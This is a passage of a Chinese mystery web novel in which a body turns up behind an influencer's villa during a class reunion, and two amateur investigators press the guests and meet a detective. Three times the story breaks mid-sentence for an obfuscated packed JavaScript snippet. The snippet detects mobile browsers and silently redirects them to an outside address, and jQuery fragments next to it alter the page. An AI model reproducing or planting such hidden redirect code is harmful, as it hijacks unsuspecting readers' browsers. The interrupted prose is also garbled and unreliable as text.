他靠近过去,想起个话头,察觉方清昼的视线一直落在自己眼睛上,直白到如有实质,不禁抬手摸了摸不平整的伤疤,和颜悦色地笑道:“很明显吗?你好像很在意。”
方清昼问:“能说说吗?”
梁益正朝下弹了弹烟灰,不以为意地道:“没什么不能说的,我在视频里也讲过很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384946|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多遍了。”
“我现在还记得他一下子扑过来,把我按在地上,手里拿着一块碎石片,一下、两下、三下,扎进我的眼睛里。”梁益正的掌心覆盖住那只受伤的眼睛,露在外面的瞳仁在光线下紧缩,眼珠颜色变得浅淡。
他叙述的声音有种不真实的虚幻感,听起来带着释怀后的平静:“我不记得当时有多疼,只感觉视线一片红又一片黑,脸上黏糊糊的全是血,后来就被送到医院去了。”
方清昼的问题里带着天真的好奇:“你身边没有同学吗?他们没有拦着他?就看着你挨打?”
梁益正觉得她有点可爱。刨除掉过高的智商,她单调而简单的成长环境,犹如一座精雕细琢的象牙塔,让她比绝大多数人都更直率。这种未经打磨的棱角也是独特的魅力,所以他回答得富有耐心,不再介意她先前的冷淡。
“有,但都是一群孩子,全被吓傻了,站在边上尖叫。还吓晕了一个。等反应过来,人已经跑了。”
“那个学生后来怎么处理的?”
“估计是怕赔偿吧。他家庭条件差,事发之后他爸直接带着他跑了,我再没见过他。”
方清昼的视线牢牢锁在他的旧伤上。她的目光清微而通澈,像会闪烁日光的海平面,专注在一个人身上时,哪怕看不出什么情绪,也给人一种难以忽视的重量感,容易点燃对方的情绪,无论好的还是坏的。
梁益正由着她看,唇角缓缓扬起,说了一句:“吓到了吗?”
方清昼同时开口道:“他在打你的时候,应该很害怕。”
梁益正没料到这个,惊讶地“哦?”了一声。
“从疤痕的宽度来看,石片不厚,三次都击打在同一部位。一次较重,两次较轻。目标明确,打完就跑。”方清昼无波无澜的语调,像在做分析报告,“第一次是极度惊恐状态下毫无理智的攻击,凶狠、野蛮。你的血飙了出来,可能溅到他的身上,激发出他胆怯的本性,所以力气一下减小。可又残留着对你的恐惧,不敢停手,机械性地重复攻击同一个地方。补上两次伤害,大脑冷却下来,马上拔腿逃跑。我是这么判断的。”
梁益正完美无缺的表情崩开一条裂缝,不过转瞬即逝,他张开嘴,仿佛被方清昼的表述吓到,提醒说:“方总,你这话可不能让网友听见,否则你会收到排山倒海的唾骂。”
方清昼置若罔闻,顺着思路往下说:“听你描述,他对你的伤害不是意外,是蓄意。眼睛是比较特殊的部位。如果我喜欢通过暴力凌^虐来欣赏你的痛苦,我不会一开始就打你的眼睛。我会先砸你的鼻子、腿、嘴唇,或者其它不致命且不易致严重残疾的部位。如果我丧心病狂到缺乏常识,我会在打瞎你一只眼睛后,不顾及你的生命安全,继续行凶,起码顺势把你的脸刮花。毁容的伤害可以伴随一生。”
梁益正笑不出来了,看她的眼神带出一丝阴寒森冷,满腔义愤地责骂道:“你知道你在说什么吗?你这话听起来有人性道德吗?”
方清昼反露出不理解的表情,困惑地说:“我在分析他的动机。我只考虑了行为逻辑,没有涉及情理,仅是客观表述,不代表立场。不好意思,你生气了吗?”
梁益正压下怒火,皮笑肉不笑地说:“是吗?但我为什么要去理解那种暴力犯的想法?”
方清昼没有与他争锋相对,退了一步,口气软化道:“不要生气。罪行发生时他应该未满十四周岁。你瞎一只眼睛达不到严重残疾的标准。他没有付出任何代价跟他父亲逃跑,法律还要保护他的隐私隐瞒他的去向。你生气确实情有可原。我们不要聊了。”
梁益正调整好心情,摁灭烟头,豁达地说:“没关系,也有少数网友提出过跟你类似的疑问。不管我说什么,他们都会找茬。”
方清昼犹如没听出他的暗讽,附和道:“网友里虽然杠精多,思路确实广。”
梁益正直接把烟头从阳台扔了下去。
——自恋、强势、思维活跃、立场坚定。控制欲强,脾气暴躁的同时可以短时间平复。
这种人不可能是编辑过记忆的对象。
方清昼没有多余疑问,理由都没找,直说:“我下去了。”
她回到一楼客厅,发现周随容不在,餐桌边只剩下三个人在低头玩手机。
几位女士拐去了小花园,在户外的小凉亭里吹风。
方清昼隔着透明的玻璃看她们交谈。感觉她们虽然言笑晏晏,嘴上说着关切体贴的话,回忆着年少时各自真切的模样,各自的距离却并没有比跟她近多少。
方清昼选了张单人沙发坐下,给季和发信息。
她的背后,一位女士举着手机在院子里拍摄。
这套别墅位于半山,附近人烟稀少,四周是环绕的山林。
她在别墅内转了一圈,从后门出去,想拍拍刚才看到的几棵柠檬树,一边在压着嗓子配音:“宝宝,妈妈在梁叔叔家,就是你在手机上经常刷到的那个梁叔叔。给你看看这里的风景,空气真好。”
女人沿着小路往前走了几步,顺着方向从右往左一寸寸移动镜头。在拍到一半时,看见个古怪的物体。两指放大屏幕,等认出那人形的轮廓,登时吓得魂飞魄散,嘴里接连发出刺耳的尖叫,朝着别墅内奔去。
方清昼听到惨叫倏然起身,还以为是梁益正死了,冲出客厅,恰好跟从楼上跑下来的梁益正撞上,愣了一下。
一群人随之跑向小院。
女人惊魂未定地抱紧身边的同伴,将脸埋在对方身上,四肢发软得直哆嗦,在众人连声的询问下,眼泪打转着说:“后面、树下……好像有个死人。”
20.询问
梁益正阔步朝后山奔去。方清昼眼疾手快,及时拽住他的胳膊将人拦下:“你去哪里?不要破坏现场。”
梁益正燥怒道:“那不一定是死人,也许是用来恶作剧的人体模型呢?”
方清昼已经报警,单手举着手机,听信号接通,迅速报出一串地址,没来得及说出案情,梁益正伸手过来想抢。
方清昼脑袋后仰避开,后背撞到一个熟悉的人。周随容一手撑住她,一手扼住梁益正的手腕,声音冷得像尖锐的冰棱,不留情地扎了过去:“你想干什么?”
梁益正抽了口气,不知是气的还是疼的,失态骂道:“是你们想干什么?不知道我们做自媒体的黑粉多吗?隔着一百多米就断定那是尸体,别到时候被骂报假警连累到我!”
周随容五指收紧,拖着他往人群那边一推,笑说:“放心,骂不到梁总头上。都别在这儿干站着了,回客厅里等。”
其余人被尸体吓得手足无措,顾不上他们在吵些什么。有人给他们派任务,下意识地遵从。
一群人紧握手机,怀着惊悸的心情跟亲朋好友播报这边的情况,尤其组织此刻的感想,派出所的车辆已火急火燎地冲了过来。轮胎带起山道上的沙尘,跟冒了烟似地急停在别墅门口。
民警们匆匆进门,看见屋里挤挤挨挨站着那么多人,心头凉了半截。不详的预感从脚底一路飘到印堂,脸上是一片愁云惨淡。
等听说众人都停在别墅后门,没有靠近过尸体周边一百米范围,那颗冰冻砸落的心又颤颤巍巍地飞了起来。
——不得了,民众爱凑热闹的本性居然被压抑住了。
民警们大为感动,说话的声音都不自觉低了两度,几个烟抽多了的破锣嗓子也生生掐出了几分似水柔情。
警察过去查看现场,确认树下半靠着的确实是一具尸体,立即指挥同事拉开警戒线,封锁现场。随即叫了发现尸体的那位女士,以及房主梁益正,分别到一旁去了解情况。
方清昼等人被集中安排到餐桌边等待问询,两个年轻的民警过来安抚他们的情绪,顺便监督他们删除现场照片。
周随容扫了眼时间,起身钻进一侧的厨房。在里面一阵翻找,拿着个苹果出来。
方清昼说:“我不饿。”
“到点了就要吃饭。你那破胃跟不会叫的闹钟一样,感受不到饥饿,但是会造反。”周随容强硬地把苹果塞到她手里,哄道,“快吃。我皮给你削好了,晚点看要不要去派出所录口供,厨房里还剩了些食材,到时候我给你做个炒饭。”
先前在台球室里跟周随容互掏过心窝的几个男人见此一幕目瞪口呆,气得暗地里直骂娘。
不是兄弟,这叫她在追你啊?
你们那儿追人这规矩?
民警小哥看惯了这些情侣的小手段,暗戳戳地提醒说:“帅哥,我们派出所不在深山老林,可以叫到外卖。”
周随容头疼地说:“你问问这位祖宗有多难对付,吃不惯外卖。”
微胖男人深感受骗,控制不住自己丑陋的真面目,出言讽刺:“差不多得了。别到时候人家吃你一口苹果,你又自作多情觉得她喜欢你。”
周随容理直气壮地说:“怎么了?她给我照顾她的机会,这不是对我有好感是什么?她喜欢吃我做的菜,这是什么分量你明白吗?”
警察小哥还是第一次听到这种标准的舔狗宣言从这么帅的兄弟嘴里吐出来,哪怕见过那么多风云人物,还是折服于他高端精妙的自我修养,一对比顿时觉得自己前程黯淡无光。这年头开屏求偶的兄弟技巧都太超前了。自己拿什么竞争?
微胖男人则再次被他的不要脸所震撼,怒目切齿道:“你明明说是她在追求你!”
方清昼回过头,啃着苹果给他作证:“对,是我在追求他。”
微胖男人:“??”
打几句嘴炮的功夫,分局刑警队的人也抵达现场。一个个顶着青黑的眼圈,阴沉着脸,看起来凶神恶煞。那种活阎王般的气场震慑住众人,现场又好似被真空封闭,寂灭了所有声音。
唯有方清昼不为所动,还不知轻重地冒出一句:“哦,你们B市一个月内死两人了。”
刑警听不得这话,猛地一记眼刀就杀了过来。
派出所小哥:“……”
不带这么戳人心窝的啊。
众人闻言却是震惊:“什么?死两个了?”
方清昼闷咳一声。
周随容抽出张餐巾纸递过去,不经意地接嘴道:“是啊,前段时间还有个女的死了,我听A市的刑警提到过。可能你们这边把消息压住了吧。”
这句话是严重的误导跟构陷,民警小哥脑海中瞬间闪过无数篇春秋笔法的新闻通稿,职业雷达滴滴作响,认为应该将他们单独隔离。
他一扭头,发觉众人果然因周随容一句挑拨而心思浮荡,但不知是想到什么,相继变了脸色。有几人反常的表现明显到连他这个陌生人都能一眼看出端倪。
方清昼慢条斯理地啃苹果,又无意地说了句:“也不一定这起是凶杀案。我们刚才没近距离看到尸体,或许是自杀呢?”
周随容说:“死人不会无缘无故地跑到梁益正的别墅来,还是在结婚前的同学聚会上,死在比他房子更高的后山,拿尸体压着我们。这举动感觉有点别的意图。”
方清昼斜眼睨去,不高兴道:“小周,要讲科学好吗?这种涉及封建迷信的内容以后不要说了。我就叫你多看书,别总摆弄你的相机。”
周随容告饶地举起双手,朝对面的微胖男子无奈耸肩。
众人隐蔽地交换着眼神,双手忙碌地整理桌上的餐具,或翻查手机的信息。
一刑警本来朝他们这边过来了,收到小哥暗示,察觉氛围不对,临近时脚底拐了个弯儿,从正门溜达出去。民警用手机悄悄拨了个语音。
方清昼把果核扔在盘子里,问:“死者多大年龄?”
民警小哥不知道该怎么回答比较准确,粗声粗气地教育道:“不该问的,不要乱打听。”
“跟他们差不多?”方清昼细致地擦拭手指,视线掠过众人,迷惑地说,“不会也是你们的高中同学吧?隔了那么多年还要跑这儿死你们眼皮底下,为什么?你们班上有这样的人吗?”
一素颜的女士不停抚摸着脖子,干笑着道:“自杀不算刑事案件吧?我看他们这架势,不像是在查自杀。”
方清昼:“那要看是什么原因。通过胁迫、虐待、精神折磨之类的行为,直接导致他人自杀,也可能会构成故意杀人罪的。这种情况下死者一般会留遗书吧,不知道现场的勘查结果怎么样。”
“我觉得吧……”周随容无端笑了一声,大概知道自己后面说的是不靠谱的推理,提前找补一句,“一段胡乱猜想,大家不用当真。我觉得也可能是那帮刑警在放松我们的警惕。先让大家以为这是一起板上钉钉的凶杀案,跟在座的各位没关系,留几句口供就能签字走人。等一个个地叫过去问话,再告诉你们,死者是被逼自杀的,而且跟在座诸位有些掰扯不清的联系,大家不得一下子慌了神?短时间内,别说想出什么缜密的开脱理由,刑警威逼利诱地诈唬两句,估计有的没的全都给交代了。能抗住这一套的人,得具备高超的犯罪天赋。我们这些守法市民,怎么可能?”
方清昼踢了下他的凳子腿,严厉道:“小周,你不要惹是生非。这里是命案现场。”
“反正闲着无聊,打发时间而已。我们是开玩笑呢,没人会往心里去。”周随容讨好地贴过去,靠着她的肩膀,仰头朝着民警小哥说,“是吧?警察同志。”
民警小哥正听得津津有味,猝不及防被点名,一下站得跟军姿一样板正,喝止道:“别胡说啊,你不要在这里散布恐慌。你小子什么目的啊?”
微胖男子闻言跟拿到免死金牌似的,立马大声道:“看吧!警察同志说不是!警察还能说谎吗?大家别胡思乱想了。”
周随容唇角弧度自然上扬,像真的只是在做茶余饭后的闲谈,不过越聊越起劲,表情里带着生动的兴致,说:“谁告诉警方审讯的时候不能说谎了?”
微胖男子激动道:“能说谎那不成诱供了?!警察同志,你说!”
“那警方只能给嫌疑人掏心掏肺地做思想工作,提升他们的道德底线,等他们洗心革面幡然悔悟?”
周随容说完,当即收到民警小哥一个警告的瞪视。
他示弱地赔了个笑,去牵方清昼的手,被后者生气躲了过去。
“别受他影响去质疑警察,最好有什么说什么。他平时喜欢玩推理游戏,你们听过就算了。”方清昼似被惹得恼火,语速较以往快了不少,不过还是克制的,说到后面平缓下来,“有些问询手法不能说是欺骗,只是一种技巧。跟警方对立,隐瞒信息的后果大多数人承担不了。万一警察说的是真的呢?万一对面的人招了你没招呢?万一有人把责任全推到你身上呢?那太冤枉了,你可能从犯变主犯,五年变十年。”
微胖男人脱口反驳:“主犯从犯是光凭嘴说的啊?”
一女人拍着桌打断他:“什么主犯、从犯呀?聊着聊着上头啦?说的什么没谱的事?你们犯法了吗?往自己身上套。有病。”
另有人搭腔:“就是,这都过去多少年了,高中有哪些同学我都记不清楚。这竿子还能打到我们身上?老王你瞎激动什么?”
不等众人平心静气地琢磨清楚,周随容那烦得让人抓耳挠腮的声音又撩拨了过来。
“不一定吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390926|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。有时候自己认为没问题,时间也过去了十几年,但保不齐受害人用了十几年没走出来呢?他留下遗书啊或者什么证据的,认准了是你们的原因,那警察总得去查证。”
他清越的嗓音同幽泉一般平和的流转,本该是动听的、让人喜爱的。但在场众人只深切地希望他能是个哑巴。
“如果确定刑事立案,警方可以直接拿着通知书去调取你们的网络记录,走访查证你们的生平事迹,这种搜查是滴水不漏的。严谨周密到把你的过往完整地剖开,把谎言、秘密,尽数挖出来,桩桩件件全部拿来研究分析,到时候会查到什么就不好说了。”
这简直是新时代的赛博酷刑。
一干人全有些坐立不安。
周随容尤在无所察觉地叨念:“主动配合调查的热心市民,跟藏头露尾的犯罪嫌疑人,这两者当然要区别对待了。是吧?警官。”
法律对运营商数据保留的规定是六个月以上。部分服务提供商或许会保存得久一些,但应该没有哪家公司会无聊到把用户各种鸡零狗碎的聊天记录存储十几年。
退一万步,警方办案也没有那么大的自由跟权力。
但是朴素的人民相信了。
他们潜意识里认为现代刑侦技术无所不能,只看警方愿不愿意花心力去调查。
如今一个月内发生两起命案,显然事态已火烧眉睫。同为牛马,他们闭上眼就能感同身受。想当然地便认为公安部门为了不吃挂落,什么路子都敢尝试。
民警小哥叹为观止。
连外面戴着耳机偷听的刑警都忍不住想给他们热情鼓掌。
高手啊!这比警方苦口婆心地磨嘴皮子有效多了。
民警小哥差点没藏住眉梢间的喜意,把口罩又往上提了提,掐着嗓子说:“你小子,说得头头是道的,犯过事儿吧?”
“可没有,我是守法公民。”周随容环顾一圈,后知后觉地说,“大家怎么那么紧张?不会是被我唬住了吧?我人生第一次碰上这么大的案子,胡说八道的。别在意。不过我玩推理游戏从没输过。”
小哥训斥道:“闭嘴吧,你太啰嗦了。”
方清昼站起身,伸长脖子朝楼梯口看,指着那边问:“他们是不是问完了?能不能先给我们做笔录?我有点困了。”
众人顺势看去。
就见先前被喊去问话的女士弯着腰独自坐在一阶楼梯上。
没一会儿,她身边出现一名女警。那女警一手端着杯水,一手拿着条薄毯,低头说了些什么。
女士没有反应。
警察把毛毯给她盖上后,轻抚着她的背继续低声细语地安慰。并在她身边坐了下来,紧紧揽住她的肩膀,看起来还远没结束。
“她还在害怕,好像哭了。我们是不是要接着等?”方清昼失望地坐下,“只是手机远远拍到了尸体而已,需要求证那么多遍吗?让她把视频拷给你们不行吗?”
刑警从客厅步伐仓促地路过,闻言朗声道:“警察办案有自己的流程,麻烦你们再等一下吧。我们人手不够,那边估计还得好一会儿。实在有事,留个具体信息给我们,我让冯队看一眼,没问题的可以先走,明天或者后天再做笔录也行。小孙,直接发我手机,我待会儿去找冯队。”
民警小哥应了,让众人拿出身份证明,逐一过来做登记。
周随容不着痕迹地朝微胖男人那边递了个眼神。
民警小哥走过去,拍拍男人的肩说:“要不你先来吧,看你刚才挺激动的。”
微胖男人将手揣进兜里,摸了老半天,才想起来自己没带身份证,磨磨蹭蹭地拿出手机,心虚气短地问:“死的是谁啊?”
民警小哥没搭理:“快点儿。”
男人手指在app上点了好几次,切换到电子证件的页面,看着民警小哥抄录,又战战兢兢地问:“你们真会查我们聊天记录吗?死者留个遗书,说是被人逼死的,那人就算故意杀人啊?万一是打击报复呢?”
民警小哥说:“跟你有什么关系?怎么?做了亏心事啊?”
他把信息发过去,准备去登记第二个人。
院子里传来先前那刑警的喊话:“王达?等等——那个叫王达的先别走!”
民警小哥立马抬头,犀利的目光几乎要刺穿男人的灵魂。
“警官!”微胖男人情急之中大吼一声,被警察那么盯着,脑子里的弦根根断了,无数个念头在瞬息间闪过,揉成一团,让他无法处理。
他嘴唇颤抖着,遵循自保的本能,试图将一切撇干净:“我可能知道死的人是谁。我可以举报!但是真的跟我没关系,我就是个拿钱跑腿的,我只是帮忙打了一个电话而已,我没想要逼死他,真的!你们有本事去查主谋啊!”
21.核实
王达惊惶下的这段坦白,把自己煎熬着的情绪如冷风过境般散播了出去。
日光经由玻璃折射后,有种光怪陆离的虚幻,照在一张张各异的脸上,映得他们神色中也出现肖似的迷离跟缥缈,如用佩戴着绘制的假面,一时切换不出真实的表情。
刑警过来,欣慰地拍着王达的背,将他带去外面的警务车上问话。未几又有数人站起来,扭扭捏捏地表示有事要说。
从别墅客厅到停车的小道,不过百余步的距离,虫鸣不歇的浓荫里,传来树叶骀荡的摩挲声,王达那点儿刚被鼓动出来的心气,就那么脆弱得被颠散了。
王达被刑警推进车内,拘谨地坐着,心思在经过一场场风暴的肆虐后,别有深意地问:“你们这儿,官最大的是什么?”
冯队正从外面拉开车门,冷不丁听见这么豪放的一句挑衅,登时乐了:“怎么着?还得找个国家领导人过来,才配听您的演讲?”
冯队体型高大、身材健壮,虽然没有那种紧实分明的肌肉,单单块头就有一种无形的力量感,站在门边上跟一堵墙似的,挡了大半的光。
他挤进车里,就坐在王达边上,屁股底下的座椅俨然过于狭小,稍一活动,手肘便杵到边上的王达。
王达感觉车厢里的空气都少了一半,奈何自己体积也不小,怎么回避,依旧逃不过跟他肉贴着肉的距离。
冯队还一个劲地往他身上凑,恶劣地揽过他肩膀道:“说说啊,你需要我联系什么级别的大官过来跟你对接?”
王达瑟缩着道:“没有没有……”
冯队放开他,点点下巴,示意他麻溜地说。
王达摇摆过后,立场有了倾向,吞吞吐吐地道:“我怀疑死的人是许游翔,我的一个高中同学,因为前段时间他刚威胁过我,说他死了也不会放过我,豁出一条命也要拉我们陪葬。他没老婆没工作的,又欠一屁股债,一时想不开自杀太正常了。”
他低着头,视线飘忽不定,自认为隐蔽地打量着二人的表情。见他们没什么触动,也未打断自己的叙述,心脏可算停止七上八下的震荡,在记忆里挑挑拣拣地组织成语言。
“他跟梁哥,也就是梁益正,从高中时候就有矛盾。他笑话梁哥是只独眼龙,梁哥跟他吵了一架,班里的同学跟着孤立他。
“前段时间吧,他又来找梁哥的麻烦。梁哥让我帮忙打个电话,约他出来,一起坐下来谈谈,把误会说开。我照做了。他们具体聊了什么我不知道,我只是个中间人,剩下的跟我没关系。”
冯队哂道:“没关系你那么慌?生怕许游翔死了赖上你。”
王达叫苦连天:“梁哥不好惹啊,我是一马前卒。他咬梁哥最后可能屁事儿没有,咬我能让我蜕一层皮。他想死,目的是拉人陪葬,那可不得往我身上泼脏水?”
冯队一声厉声,气势活阎王似的凶恶:“王达!我告诉你,少给我打马虎眼,糊弄谁呢?梁益正叫不出来,说明许游翔在躲着人,你开口一叫他就出来了,你们关系那么好?明知道他们两个对着干,你还猜不到梁益正叫他出来想做什么?合着你清清白白,让他缠上纯属倒霉?”
王达忙不迭地叫屈:“那我当时不知道嘛!我要是知道他会因此闹自杀,我怎么可能打那通电话?警察大哥,你可以上网看看梁哥在网上的口碑,他那么大网红,比我们要脸面。我也是想着做好人,让大家成熟一点把矛盾解决,才答应帮个小忙。”
冯队劈头盖脸一阵唾骂:“小忙?我看你是法盲!你小子是拍马屁拍得忘乎所以了吧?拿警察当狗耍?以为丢根骨头我们就舔上去了?你想蹲牢子直说!”
“冯队,冯队。”对面的刑警出声调和道,“再骂他得哭了。”
冯队伸手道:“来来来,那你把手机给我,我自己查。”
“别别别!”王达侧过身抵挡,全身心地抗拒,立马认怂,“我说我说!我把人约出来,梁哥自己没出面,他有几个兄弟,拉着许游翔喝酒抽烟,吃完饭许游翔出了点问题,被送进医院洗胃,前几天他出院后,觉得我背叛了他,才额外跟我过不去。”
“我是问你他跟梁益正有什么恩怨?高中毕业十几年了还要缠着他不放。少跟我说就什么孤立,这中间一定发生过什么!”
王达没脸没皮地哭诉:“他工作被辞怪梁哥,女友跑了怪梁哥,反正生活有一点不顺就觉得是梁哥的责任。我觉得他有被害妄想症,我也没办法啊。”
王达这小子油头滑脑,胆子小偏偏鬼主意多,嘴里没几句实在的,跟撅着屁股不动弹的驴一样,抽一鞭转一点,非得浪费时间,弄得冯队火冒三丈。
反复磨了半个多小时,冯队喊了个同事出来接班。
他回到后山,站在警戒线外,派出所的警察过来给他汇报情况。
男人被晒得满头大汗,脸颊发红,边擦汗边说:“我们核实过了,是有这么一个人。许游翔上周刚出院。做了个手术,切了一部分胃,医药费是别人缴的。另外那几个人的口供报的也是许游翔的名字,因为前几天王达跟他们提过这个事,说许游翔脑子不清醒,多少年了还总想着跟梁益正作对,连人家结婚都不消停,这回撞铁板了,估计不好收场。他当时是用自己手上有梁益正的犯罪证据为理由把人诓出来的,事后接到许游翔的电话,还不停说风凉话刺激他,所以知道自己会扯上官司才那么害怕。”
他一个大喘气:“不过有一点小意外,接电话的是许游翔本人。他对警方相当仇视,我问他跟梁益正有过什么纠纷,他骂了我一通,把我号码拉黑了。”
冯队:“……”
他挠了挠后脑勺:“活着啊?”
“是啊。梁益正那边也报了几个名字,说双方有过利益冲突,可能跟他过不去。我们查了下,都不是。”警察说着也是被气笑,“他自己的标准里,恨不得跟他同归于尽的人加起来有四五个,他还可怜巴巴地感慨自己事业太成功遭人嫉妒,社会仇富的风气畸形又艰难。顺便提了下你们局里的领导,问近几年我们工作是不是不好开展。”
冯队抬了下手示意他收声,就见民警小哥领着方清昼跟周随容朝他们过来。
冯队先前没功夫管他们,这会儿满腹疑团,抱着胸对他们一顿瞧,问:“你们两个什么人啊?演技不错。”
民警小哥乐呵呵地打趣说:“这两位是我们的托。”
岂料他同事跟被踩着尾巴一样,差点原地蹦起来,矢口否认:“别胡说啊!咱派出所穷成什么样了你不知道?出警前还安排个托?人是分局的吧?”
冯队也激动地道:“别胡说!我们这都连着加班多少天了?加班费连个影子都没看到!传出去让别人听见,又要说我们滥用经费怎么办?日子还过不过了!”
民警小哥被喷了一脸唾沫,看着两个炸毛跳脚的中年男人,木着脸道:“……我就是开个玩笑。”
二人横眉怒目,喋喋不休地重申道:“这是能开玩笑的事吗?同志,配合警方调查是义务,没有金钱奖励,线人费也没有——上面不给批!”
民警小哥扭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398841|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,对着二人歉意道:“上了年纪的人是这样的。平时是正常的。”
方清昼没在意,毕竟她也不修习语言的艺术,直截了当地问:“警官,死者身份确认了吗?”
冯队哑火,出于职业本能,对她开启高度警戒的状态:“你那么关心做什么?你不会是记者吧?”
他在二人脸上流转一圈,判断道:“是网红吧。”
他摆摆手轰赶:“什么热度都敢蹭?小心把号封了。口供录完了吗?录完了早点回去。有什么疑问,等警方发正式公告。在这种地方,麻烦尊重一下死者。”
方清昼把身份证塞他手里,冯队下意识拿住,随意瞥了眼,说:“你是A市人啊?”
“对。我……”
冯队把身份证拍了回去,不给她说话的机会,断然拒绝:“A市的网红也不行啊!”
周随容很轻地笑了声。
冯队故意堵她,不想给方才合作愉快的同志摆冷脸,但拒不透露详情。
方清昼把身份证揣回兜里,徐徐开口:“看来你们还没确定死者身份。说明在尸体上没有提取到完整指纹,也没有找到身份相关的证件,死者的面部特征同样难以辨认。林子里昆虫多,偶尔还有些野猫野狗,这栋别墅位置偏僻,既然尸体被破坏,死亡时间很可能不是今天,只是一直没被人发现。难怪尸体身上落了那么多叶子。”
冯队沉默了会儿,咧嘴露出个笑容:“你接着猜。”
他带着凛然的威厉,不留情面地敲打道:“我先提醒你,把这些没有根据的揣测说出去,或者添油加醋地编造什么故事情节,造成社会不良影响,警方是可以行政拘留你的。”
方清昼张嘴,说了个十分圆润的“哦”。
眼见对面的男人开始表演变脸,周随容伸手扯了下方清昼的手臂,问:“拜托你了我的领导,你现在就想去分局坐坐吗?”
方清昼从兜里拿出手机。
冯队顿时一身正气地挺直腰背,也指了指身上的执法记录仪,表示自己绝不畏惧镜头对事实的扭曲。
方清昼一脸怪异地瞅他,从界面中切出自己的工作履历,递过去说:“你可以上网搜我的名字。我不是网红,跟梁益正没有利益关系。昨天才到B市,没有作案时间。”
冯队打眼一瞧,方清昼简历上那一堆中文和英文结合的诡异产物,从他瞳孔里溜了过去。
但也只是顺滑地溜了过去。冯队没能看懂。移开视线后,一个单词都没在大脑皮层留下。
他忽而想起从A市那边发来的莫名其妙的信息,当时觉得他们写不出报告在梦游,如今蓦地把几个名字串联了起来,惊得抽了口气,一字一句地试探道:“变、态、科学家?”
方清昼:“??”
“……”
她的脑回路在转过一圈后,诡异地接上了:“如果是季和警官的描述……我在她那里的名号,应该是疯狂科学家。”
周随容:“……”
他低头小声说:“你们的角色划分,那么深奥吗?”
方清昼偏过头澄清:“她单方面定的。”
下午的太阳还带着几分毒辣,方清昼站了没一会儿,额头沁出一层细汗。
周随容拽着人往自己影子那边走了两步,提议说:“去车上聊吧,说话比较安全。”
冯队歪眉斜眼地瞥过去,对着他一阵“啧啧啧”,心下有了点别的盘算,看他们的眼神多出了对壮丁的欣赏,旋即正色道:“行吧,给你们十分钟,我们很忙的。”
22.确认
下午三点半,山林的影子被拉得深密而悠长。浓烈的色彩勾勒出独属于夏天的暑气,那股直观的燥热铺天盖地地网罗过来,又隔绝在黑色的车厢之外。
冯队按了按坐垫,伸长两腿,往椅背上怡然一靠,伸着懒腰享受道:“可算是能休息会儿了,我这老腰一整天绷得跟个生锈的弹簧一样。还是你们这车舒服。”
他全身上下每个毛孔都舒坦起来,多闭几秒眼睛能当场睡着。
放在他腿上的手机不停震动,一条一条地往外弹出信息。在即将滑下去的时候,被他预知般地捞了上来。
冯队掀开沉累的眼皮,一手按着发酸的后脖颈,一手回复信息。
他打字的速度不快,俨然跟不上对面的进度,每每刚打出几个字,又点击删除。
方清昼跟他一起坐在后排,看不见他的手机屏幕,不过能猜到他是在跟A市的警方核查她的身份。
周随容坐在驾驶座,顺手点开一个游戏刷日常。
几分钟后,冯队打起精神,老神在在地道:“是这样,你们两个特意抛下工作跑到B市,说明对这案子十分重视。按照常规来说,警方是要对案情严格保密的,但是我们重视人才……”
周随容抬了下头,方清昼抢答:“你能不能好好说话?”
周随容从前座伸出一只手,点了她脑袋,好笑道:“方清昼?你拿我这话当咒语吗?”
冯队被中断前摇,有点难受,撇撇嘴进入正题:“警方这边接触到一个证人,叫许游翔,他不相信我们的办案立场,感觉知道点什么。你们是三夭的工作人员,又是A市人,方便的话,帮我们去打探一下他的情况,看能不能套出有用的线索。”
方清昼:“信息发我。”
冯队加完她的好友,拉开车门就要下去。
方清昼拽住他的短袖,说:“我想看一眼尸体。”
冯队一只脚迈出车门,正打算以潇洒坚定的步伐从豪车下去,角力之下差点没给衣领勒死。
“你小姑娘手劲怎么那么大!”冯队缩了回来,吃痛地摸摸脖子,好心劝道,“别看了。这里不是第一案发现场。死者死亡时间超过48小时,前两天运到这儿来的时候,这一块正好在下雨。梁益正瞄一眼就吐了。你再吐一次,多不礼貌?”
他费了番功夫才让梁益正同意认尸,怎么还有人自找苦吃。
方清昼如实说:“不行,案件调查里,查看尸体是不可或缺的一个环节,跳过我会浑身不自在。”
“……这可真新鲜。你这类人,就是那种路上踩着狗屎了,还要掰着鞋底看一眼的类型是吧?”
冯队败下阵来,翻出张从脚底方向拍摄,没那么触目惊心的照片给她看。
周随容未雨绸缪,从犄角旮旯里翻出个纸质文件袋。
